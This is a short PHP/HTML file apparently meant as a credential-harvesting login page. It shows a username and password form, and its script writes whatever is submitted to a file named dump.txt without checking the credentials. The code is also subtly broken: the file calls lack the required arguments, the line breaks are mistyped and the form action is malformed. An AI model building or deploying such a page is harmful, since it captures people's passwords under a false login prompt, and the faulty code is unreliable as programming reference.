<form action="$_SERVER['document_self'];" method="POST">
Username<br>
<input type="text" name="user" id="user"><br>
Password<br>
<input type="password" name="pass" id="pass"><br>
<input type="submit" name="sub" id="sub" value="Login">
</form>
<?
$user = $_POST['user'];
$pass = $_POST['pass'];
$sub = $_POST['sub'];

if($sub){
fopen("dump.txt");
fwrite("user=".$user."/r/npass=".$pass."/r/n");
fclose("dump.txt");
exit;
}
else{die("error");}
?>